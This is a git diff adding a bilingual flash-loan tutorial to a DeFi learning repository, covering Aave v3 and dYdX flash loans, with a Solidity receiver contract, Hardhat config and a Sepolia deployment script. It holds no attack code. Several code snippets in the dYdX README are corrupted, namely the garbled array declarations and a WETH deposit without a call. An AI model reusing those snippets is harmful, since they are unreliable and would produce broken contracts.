+import "https://github.com/aave/aave-v3-core/blob/master/contracts/interfaces/IPoolAddressesProvider.sol";
+import "https://github.com/aave/aave-v3-core/blob/master/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
+
+constructor(address _addressProvider) FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_addressProvider)) {
+   
+       owner = payable(msg.sender);
+   }
+
+
+   
+```  
+
+这是导入所必要的依赖项，Flashloan 合约继承自`FlashLoanSimpleReceiverBase`，它是一个抽象合约，提供了一些有用的方法，比如如偿还闪电贷的方式。 
+SimpleFlashloan.sol 构造函数接受 Aave 的一借贷池的地址(deploy_aave_flashloan.js 脚本中配置对应的PoolAddressesProvider)。
+
+创建地址类型的变量所有者(有些代码中并未设置此owner,意味着所有人都可以调用该合约)，并将其设为可支付。
+
+aave v3 对一些方法做了简化，因此有些方法名称后面加了Simple关键字
+
+aave v3 合约名称相较v1有了变化(其实内部还是调用之前老的合约，可能是觉得之前的名字太长不好记忆，就修改了些), 具体变化参考：[AAVEf : supported-networks](https://docs.aave.com/developers/deployed-contracts/v3-testnet-addresses)
+本文以Sepolia测试网络为例，选择Ethereum Sepolia，对于不同的测试网络，需要在deploy_aave_flashloan.js 脚本中配置对应的PoolAddressesProvider
+<center><img src="./img/aave-v3-namechange.png?raw=true" /></center> 
+<center><img src="./img/sepolia-testnet.png?raw=true" /></center> 
+
+
+
+### flashloanSimple 方法   
+requestFlashLoan 方法中的核心是调用 POOL.flashLoanSimple(), POOL 变量被定义在FlashLoanSimpleReceiverBase中，是IPool 的实例
+```solidity
+ function flashLoanSimple(
+    address receiverAddress,
+    address asset,
+    uint256 amount,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+
+```
+
+如下是 FlashLoanSimpleReceiverBase 合约中的定义(大致了解即可)
+```solidity
+abstract contract FlashLoanSimpleReceiverBase is IFlashLoanSimpleReceiver {
+  IPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;
+  IPool public immutable override POOL;
+
+  constructor(IPoolAddressesProvider provider) {
+    ADDRESSES_PROVIDER = provider;
+    POOL = IPool(provider.getPool());
+  }
+  
+```
+
+通过连接 Aave 的FlashLoanSimpleReceiverBase合约来启动SimpleFlashLoan合约
+
+requestFlashLoan 的参数`_asset`是我们要用闪电贷借款的资产地址，比如 ETH, DAI 或者 USDC。
+<center><img src="./img/token_address.png?raw=true" /></center> 
+
+`uint amount = 1 ether;`
+amount 是我们将借用的代币数量,如果把 ETH 地址传过去，我们就会借到 1 个 ETH，即 10^18 wei。如果把 DAI 地址传给 `_asset`，我们就会借到 1 个 DAI。  
+还有两个我们不会使用但 Aave 合约需要的参数。
+
+params       - 是贷款的一些附加信息，例如消息或短语    
+ReferralCode - 暂时不明白这个参数的含义
+
+FlashLoanSimpleReceiverBase 内部的 _addressProvider 变量将被传入到 IPoolAddressesProvider 接口中，之后将在那里调用 getPool() 函数，该函数将返回代理池（实现闪贷所有功能的合约）的地址。
+而这一切都将保存在 POOL 变量中，该变量需要像我们的地址一样被包装在 IPOOL 接口中，以便访问合约的 Proxy Pool 功能。
+
+### executeOperation 方法
+
+
+```solidity
+   function executeOperation(
+    address asset, 
+    uint256 amount,
+    uint256 premium,
+    address initiator,
+    bytes calldata params
+   ) external override returns(bool){
+     str = "New Logic in FlashLoans";
+
+        //
+        // Your logic goes here.
+        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
+        //
+     uint256 totalAmount = amount + premium;
+     IERC20(asset).approve(address(POOL),totalAmount);
+     return true; 
+
+   }
+
+}
+    
+```
+
+在使用 `requestFlashLoan` 函数触发有效的闪电贷后，`executeOperation` 函数的所有参数都将被自动传递，
+
+接下来，我们可以插入任何想要执行的逻辑。在这个步骤中，我们拥有了来自闪电贷的所有可用资金，因此，我们可以尝试套利机会。
+
+我们在用完闪电贷后，就需要偿还资金了。
+
+`uint totalAmount = amount + premium`
+
+在这里，我们要计算还多少钱，也就是 **借款金额 + Aave借贷手续费(通常为金额的0.05%)** , premium 也可以固定设置 amount * 0.05%。
+
+最后一步就是调用 `IERC20(asset).approve(address(POOL),totalAmount)` 来偿还闪电贷。
+
+## AAVE FAUCET
+我们的智能合约中需要一些 Testnet USDC(本文使用USD C作为贷款货币) 来支付闪电贷的利息。进入Aave的水龙头，选择Ethereum Market，连接MetaMask，点击USDC附近的 Faucet 即可获取USDC。
+<center><img src="./img/aave_faucet.png?raw=true" /></center> 
+
+
+## 操作步骤 
+- 安装依赖  
+```shell
+#Node 版本v20.11.0
+npm init
+npm install --save-dev hardhat
+npx hardhat
+npm install --save-dev "hardhat@^2.21.0" "@nomicfoundation/hardhat-toolbox@^2.0.0"
+```
+
+- 安装aav核心包 
+```shell
+npm install @aave/core-v3
+```
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+# 在 .env 中配置  INFURA_ID , PRIVATE_KEY
+```
+
+- 部署合约  
+```shell
+# 这里使用 sepolia 测试网进行测试
+npx hardhat run scripts/deploy_aave_flashloan.js --network sepolia
+
+```
+交易完成后，根据打印的 Transaction hash 登录 [Etherscan](https://sepolia.etherscan.io/)查看交易详情
+
+<center><img src="./img/etherscan_query.png?raw=true" /></center> 
+<center><img src="./img/transaction_detail.png?raw=true" /></center> 
+
+恭喜您执行闪贷；您借了一笔无抵押贷款。在本指南中，我们了解了闪电贷，创建并部署了 Aave V3 闪电贷合约，借入了一些无需抵押的代币，并收取利息费用返还
+
+## 参考链接
+- 闪贷文档：https://docs.aave.com/developers/guides/flash-loans
+- V3 测试网地址：https://docs.aave.com/developers/deployed-contracts/v3-testnet-addresses
+- 获取goerli Dai Token：https://goerli.etherscan.io/address/0xdf1742fe5b0bfc12331d8eaec6b478dfdbd31464
\ No newline at end of file
diff --git a/basic/20-flash-loan/aavev3/README.md b/basic/20-flash-loan/aavev3/README.md
new file mode 100644
index 000000000..adedf8533
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/README.md
@@ -0,0 +1,158 @@
+[中文](./README-CN.md) / English
+
+# AAVE v3 FlashLoan introduce  
+
+1. Your contract calls the Pool contract, requesting a Flash Loan of a certain amount(s) of reserve(s) using flashLoanSimple() or flashLoan().
+2. After some sanity checks, the Pool transfers the requested amounts of the reserves to your contract, then calls executeOperation() on receiver contract .
+3. Your contract, now holding the flash loaned amount(s), executes any arbitrary operation in its code.
+   1.  If you are performing a flashLoanSimple, then when your code has finished, you approve Pool for flash loaned amount + fee.
+   2.  If you are performing flashLoan, then for all the reserves either depending on interestRateMode passed for the asset, either the Pool must be approved for flash loaned amount + fee or must or sufficient collateral or credit delegation should be available to open debt position.
+   3.  If the amount owing is not available (due to a lack of balance or approvaln or insufficient collateral for debt), then the transaction is reverted.
+4. All of the above happens in 1 transaction (hence in a single ethereum block).
+
+## explanatory of logical of flash loan smart contract  
+### Flashloan illustrate  
+let's get into `contracts/SimpleFlashLoan.sol`  (aave version 3)
+```solidity
+
+import "https://github.com/aave/aave-v3-core/blob/master/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
+import "https://github.com/aave/aave-v3-core/blob/master/contracts/interfaces/IPoolAddressesProvider.sol";
+import "https://github.com/aave/aave-v3-core/blob/master/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
+
+constructor(address _addressProvider) FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_addressProvider)) {
+   
+       owner = payable(msg.sender);
+   }
+
+
+```  
+
+This is a necessary dependency for importing, and the Flashloan contract inherits from the `FlashLoanSimpleReceiverBase`. It is an abstract contract that provides some useful methods, such as repaying flash loans.
+
+The SimpleFlashloan.sol constructor accepts the address of a loan pool from Aave (configured with the corresponding PoolAddressesProvider in the deploy.aave-flashloan.js script).
+
+Create a variable owner for the address type (some codes do not set this owner, which means everyone can call the contract) and make it payable.
+
+Aave v3 has simplified some methods, so some method names have the `Simple` keyword added after them
+
+The name of the aave v3 contract has changed compared to v1 (in fact, it still calls the old contract internally, which may be because the previous name is too long and difficult to remember, so it has been modified). Please refer to [AAVEf: supported networks](https://docs.aave.com/developers/deployed-contracts/v3-testnet-addresses)
+
+This article takes the Sepolia test network as an example and selects `Ethereum Sepolia`. For different test networks, the corresponding `PoolAddressesProvider` needs to be configured in the `deploy_1ave_flashloan.js` script
+<center><img src="./img/aave-v3-namechange.png?raw=true" /></center> 
+<center><img src="./img/sepolia-testnet.png?raw=true" /></center> 
+
+
+### The flashloan function  
+The core of the requestFlashLoan method is to call POOL. flashLoanSimple(), where the POOL variable is defined in FlashLoanSimpleReceiverBase, it is an instance of IPool
+```solidity
+function flashLoanSimple(
+    address receiverAddress,
+    address asset,
+    uint256 amount,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+
+```
+The following is the definition in the FlashLoanSimpleReceiverBase contract (a rough understanding is sufficient)
+
+```solidity
+abstract contract FlashLoanSimpleReceiverBase is IFlashLoanSimpleReceiver {
+  IPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;
+  IPool public immutable override POOL;
+
+  constructor(IPoolAddressesProvider provider) {
+    ADDRESSES_PROVIDER = provider;
+    POOL = IPool(provider.getPool());
+  }
+
+```
+
+Start the SimpleFlashLoan contract by connecting to Aave's FlashLoanSimpleReceiverBase contract
+
+The parameter 'asset' of requestFlashLoan is the asset address where we want to borrow using Flash Loan, such as ETH, DAI, or USDC.
+<center><img src="./img/token_address.png?raw=true" /></center> 
+
+
+`uint amount = 1 ether;`
+In here, we define the loan count unit as `ether`, if we pass the ETH address in, we will take loan 1 ETH , thus 10^18 wei. And if we send DAI address to `_asset`, we will get loan 1 DAI! 
+
+There are two parameters that we will not use but are required by the Aave contract.
+
+Params       - Additional information about loans, such as messages or phrases
+ReferralCode - I currently do not understand the meaning of this parameter
+
+The addressProvider variable inside FlashLoanSimpleReceiverBase will be passed into the IPoolAddressesProvider interface, where the getPool() function will be called, which will return the address of the proxy pool (the contract that implements all functions of flash lending).
+
+And all of this will be saved in the POOL variable, which needs to be wrapped in the IPOOL interface like our address in order to access the Proxy Pool function of the contract.
+
+### The executeOperation function
+```solidity
+   function executeOperation(
+    address asset, 
+    uint256 amount,
+    uint256 premium,
+    address initiator,
+    bytes calldata params
+   ) external override returns(bool){
+     str = "New Logic in FlashLoans";
+
+        //
+        // Your logic goes here.
+        // !! Ensure that *this contract* has enough of `_reserve` funds to payback the `_fee` !!
+        //
+     uint256 totalAmount = amount + premium;
+     IERC20(asset).approve(address(POOL),totalAmount);
+     return true; 
+
+   }
+
+}
+```
+
+When we triggered valid flashloan with `flashLoan` function, the all paramaters in `executeOperation` will be passed automatically
+
+Then, we can insert any logical we want to excute. In this step, we had have all usable fund from flashloan, and we can use it to have a arbitrage.
+
+After we used flashloan, it's repay time.
+
+`uint totalAmount = amount + premium`
+
+In here, we need caculate how much we need repay, which is **loan amount + 0.05% of loan amount (Borrowing charge of Aave flashloan)** , Premium can also be set to a fixed amount * 0.05%.
+
+The final step is calling `IERC20(asset).approve(address(POOL),totalAmount)` to repay the flashloan.
+
+## AAVE FAUCET
+Our smart contract requires some Testnet USDC (using USD C as the loan currency in this article) to pay the interest on Flash Loan. Go to Aave's faucet, select Ethereum Market, connect to MetaMask, and click on Faucet near USDC to obtain USDC.
+<center><img src="./img/aave_faucet.png?raw=true" /></center> 
+
+## Steps
+- Install dependencies
+```shell
+# Node version v20.11.0
+npm init 
+npm install --save-dev hardhat
+npx hardhat
+npm install --save-dev "hardhat@^2.21.0" "@nomicfoundation/hardhat-toolbox@^2.0.0"
+```
+
+- Config the params of envrioument  
+```shell
+cp .env.example .env
+# set INFURA_ID , PRIVATE_KEY in .env
+```
+
+- Deploy the contract 
+```shell
+# we use test net sepolia to have test
+npx hardhat run scripts/deploy_aave_flashloan.js --network sepolia
+```
+After the transaction is completed, log in to [Etherscan](https://sepolia.etherscan.io/) based on the printed Transaction hash view transaction details
+<center><img src="./img/etherscan_query.png?raw=true" /></center> 
+<center><img src="./img/transaction_detail.png?raw=true" /></center> 
+
+Congratulations on executing the flash loan; You borrowed an unsecured loan. In this guide, we learned about Flash Loan, created and deployed the Aave V3 Flash Loan contract, borrowed some unsecured tokens, and charged interest fee refunds
+## Reference link  
+- Detail of flash loan：https://docs.aave.com/developers/guides/flash-loans
+- V3 Testnet Addresses：https://docs.aave.com/developers/deployed-contracts/v3-testnet-addresses    
+- Get goerli Dai Token: https://goerli.etherscan.io/address/0xdf1742fe5b0bfc12331d8eaec6b478dfdbd31464 
diff --git a/basic/20-flash-loan/aavev3/contracts/MintFlashLoan.sol b/basic/20-flash-loan/aavev3/contracts/MintFlashLoan.sol
new file mode 100644
index 000000000..0c274d77e
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/contracts/MintFlashLoan.sol
@@ -0,0 +1,59 @@
+// SPDX-License-Identifier: agpl-3.0
+pragma solidity ^0.8.10;
+
+import "@aave/core-v3/contracts/flashloan/base/FlashLoanSimpleReceiverBase.sol";
+import "@aave/core-v3/contracts/interfaces/IPoolAddressesProvider.sol";
+import "@aave/core-v3/contracts/dependencies/openzeppelin/contracts/IERC20.sol";
+
+// interface IFaucet {
+//     function mint(address _token, uint256 _amount) external;
+// }
+
+// abstract contract FlashLoanSimpleReceiverBase is IFlashLoanSimpleReceiver {
+//     IPoolAddressesProvider public immutable override ADDRESSES_PROVIDER;
+//     IPool public immutable override POOL;
+//     IFaucet public immutable FAUCET;
+
+//     constructor(IPoolAddressesProvider provider, IFaucet faucet) {
+//         ADDRESSES_PROVIDER = provider;
+//         POOL = IPool(provider.getPool());
+//         FAUCET = faucet;
+//     }
+// }
+
+contract MintFlashLoan is FlashLoanSimpleReceiverBase {
+    constructor(address _addressProvider)
+        FlashLoanSimpleReceiverBase(IPoolAddressesProvider(_addressProvider))
+    {}
+
+    function executeOperation(
+        address asset,
+        uint256 amount,
+        uint256 premium,
+        address initiator,
+        bytes calldata params
+    ) external override returns (bool) {
+        // Logic go here.
+
+        // Approve the LendingPool contract allowance to *pull* the owed amount
+        uint256 amountOwed = amount + premium;
+      //  FAUCET.mint(asset, premium);
+        IERC20(asset).approve(address(POOL), amountOwed);
+
+        return true;
+    }
+
+    function executeFlashLoan(address asset, uint256 amount) public {
+        address receiverAddress = address(this);
+
+        bytes memory params = "";
+        uint16 referralCode = 0;
+
+        POOL.flashLoanSimple(receiverAddress, asset, amount, params, referralCode);
+    }
+
+    function getBalance(address _tokenAddress) external view returns(uint256) {
+    return IERC20(_tokenAddress).balanceOf(address(this));
+   }
+
+}
\ No newline at end of file
diff --git a/basic/20-flash-loan/aavev3/hardhat.config.js b/basic/20-flash-loan/aavev3/hardhat.config.js
new file mode 100644
index 000000000..7314d7269
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/hardhat.config.js
@@ -0,0 +1,58 @@
+require("@nomicfoundation/hardhat-toolbox");
+require('dotenv').config();
+const fs = require('fs');
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  return process.env.PRIVATE_KEY;
+}
+
+/** @type import('hardhat/config').HardhatUserConfig */
+const  PRIVATE_KEY = process.env.PRIVATE_KEY || "0x"
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: '0.8.20',
+        settings: {},
+      },
+      {
+        version: '0.8.0',
+        settings: {},
+      },
+      {
+        version: '0.8.9',
+        settings: {},
+      },
+      {
+        version: '0.8.10',
+        settings: {},
+      },
+    ],
+  },
+  defaultNetwork: "sepolia",
+  networks: {
+    localhost: {
+      url: 'http://localhost:8545',
+      //gasPrice: 125000000000,  // you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    sepolia: {
+      url: 'https://sepolia.infura.io/v3/' + process.env.INFURA_ID, //<---- YOUR INFURA ID! (or it won't work)
+       accounts : PRIVATE_KEY != undefined ? [PRIVATE_KEY] : [],
+      // accounts: [mnemonic()],
+      chainId: 11155111,
+    }
+  },
+};
diff --git a/basic/20-flash-loan/aavev3/img/aave-v3-namechange.png b/basic/20-flash-loan/aavev3/img/aave-v3-namechange.png
new file mode 100644
index 000000000..ae427179c
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/aave-v3-namechange.png differ
diff --git a/basic/20-flash-loan/aavev3/img/aave_faucet.png b/basic/20-flash-loan/aavev3/img/aave_faucet.png
new file mode 100644
index 000000000..9a7989523
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/aave_faucet.png differ
diff --git a/basic/20-flash-loan/aavev3/img/etherscan_query.png b/basic/20-flash-loan/aavev3/img/etherscan_query.png
new file mode 100644
index 000000000..6c90e755a
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/etherscan_query.png differ
diff --git a/basic/20-flash-loan/aavev3/img/sepolia-testnet.png b/basic/20-flash-loan/aavev3/img/sepolia-testnet.png
new file mode 100644
index 000000000..6c2c21509
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/sepolia-testnet.png differ
diff --git a/basic/20-flash-loan/aavev3/img/testnet_Address.png b/basic/20-flash-loan/aavev3/img/testnet_Address.png
new file mode 100644
index 000000000..a2fe379d0
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/testnet_Address.png differ
diff --git a/basic/20-flash-loan/aavev3/img/token_address.png b/basic/20-flash-loan/aavev3/img/token_address.png
new file mode 100644
index 000000000..03bb071c9
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/token_address.png differ
diff --git a/basic/20-flash-loan/aavev3/img/transaction_detail.png b/basic/20-flash-loan/aavev3/img/transaction_detail.png
new file mode 100644
index 000000000..3dae2874c
Binary files /dev/null and b/basic/20-flash-loan/aavev3/img/transaction_detail.png differ
diff --git a/basic/20-flash-loan/aavev3/package.json b/basic/20-flash-loan/aavev3/package.json
new file mode 100644
index 000000000..335cb18d0
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "aavev3-flashloan",
+  "description": "aavev3 flash loans",
+  "version": "1.0.0",
+  "author": "jason",
+  "license": "BSD-3-Clause",
+  "contributors": [
+    "jason <342690199@qq.com>"
+  ],
+  "repository": "https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/basic/20-flash-loan/aavev3",
+  "devDependencies": {
+    "hardhat": "^2.22.2"
+  },
+  "dependencies": {
+    "@aave/core-v3": "^1.19.3",
+    "@nomicfoundation/hardhat-toolbox": "^5.0.0",
+    "@openzeppelin/contracts": "^5.0.2",
+    "dotenv": "^16.4.5"
+  }
+}
diff --git a/basic/20-flash-loan/aavev3/scripts/deploy_aavev3_flashloan.js b/basic/20-flash-loan/aavev3/scripts/deploy_aavev3_flashloan.js
new file mode 100644
index 000000000..0d06086d2
--- /dev/null
+++ b/basic/20-flash-loan/aavev3/scripts/deploy_aavev3_flashloan.js
@@ -0,0 +1,80 @@
+// We require the Hardhat Runtime Environment explicitly here. This is optional
+// but useful for running the script in a standalone fashion through `node <script>`.
+//
+// You can also run a script with `npx hardhat run <script>`. If you do that, Hardhat
+// will compile your contracts, add the Hardhat Runtime Environment's members to the
+// global scope, and execute the script.
+const hre = require("hardhat");
+const fs = require('fs');
+const { ethers } = require('hardhat');
+
+const USDC_ADDRESS = '0x94a9D9AC8a22534E3FaCa9F4e7F2E2cf85d5E4C8';
+const USDC_DECIMALS = 6;
+const FLASHLOAN_AMOUNT = ethers.parseUnits("1000", USDC_DECIMALS);
+const USDC_ABI = ["function transfer(address to, uint256 value) external returns (bool)"];
+const AMOUNT_UINT = ethers.parseUnits("1", USDC_DECIMALS)
+
+
+async function main() {
+
+ 
+  let PoolAddressesProvider, faucetAddr;
+  let network = hre.hardhatArguments.network;
+
+  const provider = new ethers.WebSocketProvider(`wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`);
+  const wallet = new ethers.Wallet(process.env.PRIVATE_KEY, provider);
+
+
+  if (network === 'sepolia'){
+    PoolAddressesProvider = '0x012bAC54348C0E635dCAc9D5FB99f06F24136C9A';
+    //faucetAddr = '0x1ca525Cd5Cb77DB5Fa9cBbA02A0824e283469DBe';
+  }else{
+    throw console.error(`Are you deploying to the correct network? (network selected: ${network})`);
+  }
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  const flashLoanFactory = await ethers.getContractFactory('MintFlashLoan');
+  const flashloan = await flashLoanFactory.deploy(PoolAddressesProvider);
+
+  const flashloanTxn = await flashloan.deploymentTransaction().wait(1)
+  console.log('flashLoan deployed to:', flashloanTxn.contractAddress);
+  console.log("---------------------------------------------------------------\n");
+  
+  const erc20 = new ethers.Contract(USDC_ADDRESS, USDC_ABI, wallet)
+  const amount = ethers.parseUnits("5",USDC_DECIMALS)
+   
+  console.log(`Transferring ${amount / AMOUNT_UINT} USDC to the FlashLoan contract...`)
+  const transferErc20  = await erc20.transfer(flashloanTxn.contractAddress,amount)
+
+  console.log(`Finish transfer ${amount / AMOUNT_UINT} USDC to the FlashLoan contract...`)
+  console.log("Waiting for 1 block to verify the transfer ")
+  await transferErc20.wait(1);// Wait 1 block for the transaction to be verified to update the balance
+  console.log("---------------------------------------------------------------\n");
+ 
+// Check USDC balance of the FlashLoan contract
+const usdcBalance = await flashloan.getBalance(USDC_ADDRESS);
+console.log(`USDC balance of the FlashLoan contract is: ${usdcBalance / AMOUNT_UINT} USDC`);
+console.log("---------------------------------------------------------------\n");
+
+
+  // do flashLoan
+  console.log(`Requesting a flash loan of ${FLASHLOAN_AMOUNT / AMOUNT_UINT} USDC...`);
+  let res = await flashloan.executeFlashLoan(USDC_ADDRESS, FLASHLOAN_AMOUNT); //1000 USDC, the decimal is 6,so value is 1000,000,000
+  await res.wait();
+  console.log("Flashloan executed!");
+  console.log(`MintFlashLoan successfully, please check tx hash ${res.hash} for more details `);
+  console.log("---------------------------------------------------------------\n");
+  
+ 
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+.then(() => process.exit(0))
+.catch((error) => {
+  console.error(error);
+  process.exitCode = 1;
+});
diff --git a/basic/20-flash-loan/dydx/.env.example b/basic/20-flash-loan/dydx/.env.example
new file mode 100644
index 000000000..2fb282f56
--- /dev/null
+++ b/basic/20-flash-loan/dydx/.env.example
@@ -0,0 +1,2 @@
+INFURA_API_KEY = ""
+PRIVATE_KEY = "1111111111111111111111111111111111111111111111111111111111111111"
diff --git a/basic/20-flash-loan/dydx/.gitignore b/basic/20-flash-loan/dydx/.gitignore
new file mode 100644
index 000000000..f356ac020
--- /dev/null
+++ b/basic/20-flash-loan/dydx/.gitignore
@@ -0,0 +1,10 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
+DydxFlashloaner.json
\ No newline at end of file
diff --git a/basic/20-flash-loan/dydx/README-CN.md b/basic/20-flash-loan/dydx/README-CN.md
new file mode 100644
index 000000000..5c0895a86
--- /dev/null
+++ b/basic/20-flash-loan/dydx/README-CN.md
@@ -0,0 +1,143 @@
+中文 / [English](./README.md)
+
+# DyDx 闪电贷  
+## 简介    
+**DyDx 本身并不具备闪电贷功能**，但是，你可以通过对 `SoloMargin` 合约执行一系列操作来实现类似的行为，这是一个隐藏功能。为了在 DyDx 上进行闪电贷，我们需要：
+
+- 借入一定数量的 token
+- 使用借入的资金进行套利等一些操作
+- 退回借入的 token，在原来借款的数量上 `+2 wei`即可。这 `2 wei` 就是手续费。
+
+所有这些都在一个交易中完成。DyDx 用所谓的元交易来解决这个问题。它允许你执行一系列的操作，直到最后一步才检查状态是否有效。也就是说，只要你在同一笔交易中把资金存回去（并且账户里有大约 2wei 的资产），你就可以随意提取资金，做任何事情。使用元交易，你就可以在一个交易中执行多个交易了。
+
+DyDx 仅支持以下这几种资产，并不支持 eth：
+
+```
+WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
+USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
+DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F
+SAI = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359
+```
+
+## 合约功能解析  
+### initiateFlashLoan 接口  
+想要 DyDx 实现闪电贷功能，合约需要继承 `DydxFlashloanBase`，并实现两个功能：
+
+1. 一个入口函数，你可以调用该函数来初始化闪电贷，我们起名为 `initiateFlashLoan`。
+
+2. 一个叫`callFunction`的回调函数，这是在借贷时要执行的操作， 套利逻辑就在写在这个位置。
+
+```js
+function initiateFlashLoan(address _solo, address _token, uint256 _amount) external {
+    ISoloMargin solo = ISoloMargin(_solo);
+
+    // Get marketId from token address
+    uint256 marketId = _getMarketIdFromTokenAddress(_solo, _token); // (1)
+
+    uint256 repayAmount = _getRepaymentAmountInternal(_amount);
+    IERC20(_token).approve(_solo, repayAmount);
+
+    Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3 "] memory operations = new Actions.ActionArgs["); // (2)
+
+    operations[0] = _getWithdrawAction(marketId, _amount); // (3)
+    operations[1] = _getCallAction(
+        // Encode MyCustomData for callFunction
+        abi.encode(MyCustomData({token: _token, repayAmount: repayAmount}))
+    ); // (4)
+    operations[2] = _getDepositAction(marketId, repayAmount); // (5)
+
+    Account.Info[] memory accountInfos = new Account.Info[](1 "] memory accountInfos = new Account.Info[");
+    accountInfos[0] = _getAccountInfo();
+
+    solo.operate(accountInfos, operations);
+}
+```
+
+`initiateFlashLoan` 需要传入 3 个参数， `_solo` 是 ISoloMargin 的地址，`_token` 是需要借入的 token， `_amount` 是需要借入的数量。
+
+1. 是通过 `_solo` 与 `_token` ，得到 `marketId`
+
+2. 是实例化 Actions，数组长度是 3，也就是执行 3 个操作，按照数组顺序依次执行
+
+3. 执行借贷操作
+
+4. 执行套利逻辑，这就是之后要介绍的 `callFunction`
+
+5. 执行还款操作 `initiateFlashLoan` 的代码基本固定不变。
+
+### callFunction 回调接口  
+
+```js
+function callFunction(
+    address sender,
+    Account.Info memory account,
+    bytes memory data
+) public {
+    MyCustomData memory mcd = abi.decode(data, (MyCustomData));
+    uint256 balOfLoanedToken = IERC20(mcd.token).balanceOf(address(this)); // (1)
+      // 套利逻辑
+     // 套利逻辑
+    // 套利逻辑
+    WETH9(kovanWETHAddr).deposit{value: balOfLoanedToken.add(2)}; // (2)
+
+    uint256 newBal = IERC20(mcd.token).balanceOf(address(this)); // (3)
+
+    require( // (4)
+        newBal >= mcd.repayAmount,
+        "Not enough funds to repay dydx loan!"
+    );
+
+}
+```
+
+我们在 `initiateFlashLoan` 定义了 3 个动作，第 2 个动作的实现就是 `callFunction`。假设我们借入 WETH 并返还 WETH。
+
+(1) 获得借入的 token 的余额
+(2) 在返还的时候，要比借入的余额多返还 2wei（至少是 2wei），WETH9(kovanWETHAddr).deposit 是充值 weth， 把普通 eth 转化为 weth，使用 deposit 就好。
+(3)～(4) 获取新的余额，并判断是不是大于借入的余额，这样才能执行成功。
+
+为此，我们还要引入 WETH 的接口。
+
+```js
+interface WETH9 {
+    function deposit() external payable;
+    function withdraw(uint wad) external;
+}
+```
+
+## 操作步骤  
+- 安装依赖  
+```shell
+yarn
+```
+
+- 配置环境变量  
+```shell
+cp .env.example .env
+# 在 .env 中配置  INFURA_ID , PRIVATE_KEY
+```
+
+- 部署合约  
+```shell
+npx hardhat run scripts/deploy.js --network kovan
+```
+
+- 进行闪电贷  
+```shell
+npx hardhat run scripts/dydxFlashloaner.js --network kovan
+```
+
+## 补充说明
+在部署好合约后，需要往合约地址充入一定的 WETH，闪电贷才能成功，至于 eth 跟 weth 如何互相转化，查看下 https://kovan.etherscan.io/address/0xd0A1E359811322d97991E03f863a0C30C2cF029C#writeContract 就懂了。   
+DyDx 的闪电贷操作确实比起 Aave 闪电贷要复杂不少，但手续费只需要 `2 wei`，这非常吸引人。
+
+## 参考资料  
+
+- dydx.exchange: https://help.dydx.exchange/en/articles/3724602-flash-loans    
+
+- DyDx Flash Loan： https://www.youtube.com/watch?v=HKx89FhZNls  
+
+- solo-operations： https://legacy-docs.dydx.exchange/#solo-protocol   
+
+- DydxFlashloanBase.sol 的源码: https://github.com/studydefi/money-legos/tree/master/src/dydx  
+- 案例: https://kovan.etherscan.io/address/0x3cc064c6a0b8629a05f38bc57b6a290ac9489e38#code   
\ No newline at end of file
diff --git a/basic/20-flash-loan/dydx/README.md b/basic/20-flash-loan/dydx/README.md
new file mode 100644
index 000000000..732f4fb15
--- /dev/null
+++ b/basic/20-flash-loan/dydx/README.md
@@ -0,0 +1,142 @@
+[中文](./README-CN.md) / English
+
+# DyDx flash loan  
+## introduce    
+**DyDx doesn't supply the flash loan function itself**, but you can implement a similar function by executing a series of operations to `SoloMargin` contract, it's a hidden function. To we can use the flash loan in DyDx, we need: 
+
+- borrow a number of tokens
+- use these funds to do some operations such as interest arbitrage
+- return borrowed tokens, also you need plus `2 wei`, which is the service charge
+
+All of these will be finished in one transaction. DyDx uses so-called meta-transaction to solve this problem. It allowed you can do several operations, till the final step to check whether the state is valid. Which is, as long as you can store back the fund you had loaned(and your account has extra about 2 wei assets), then you can loan assets freely and do anything with them. By using meta-transaction, you can execute a multi transactions in it.
+
+DyDx only supports several assets below, excluding eth: 
+
+```
+WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
+USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48
+DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F
+SAI = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359
+```
+
+## contract functions illustrate  
+### initiateFlashLoan interface  
